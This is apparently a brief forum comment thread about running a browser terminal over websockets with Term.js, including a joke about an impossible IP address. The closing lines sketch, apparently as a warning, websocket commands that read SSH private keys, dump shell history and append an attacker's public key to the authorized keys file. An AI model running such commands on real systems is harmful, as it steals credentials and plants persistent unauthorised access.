Ha ha! That's so cool. Hey, off topic... what's your IP? ;)

Don't know his, but I've got the best one 127.123.234.345!

Combine that with Term.js[1] and you could have a fully functioning terminal in the browser.

The possibilities are endless, just add a websocket proxy as a front-server and you can allow dynamic and even secure control of an entire infrastructure (given that you add auth layer). Here's something you could use for that: https://news.ycombinator.com/item?id=6880487 Or just setup haproxy with it.

So basically replicate SSH in a half assed way?

Well, no. More like telnet (optionally over tls).

ws.send('cat $HOME/.ssh/{id_rsa,id_rsa.pub,known_hosts}');

ws.send('history');

ws.send('echo "' + pubkey + '" >> $HOME/.ssh/authorized_hosts');
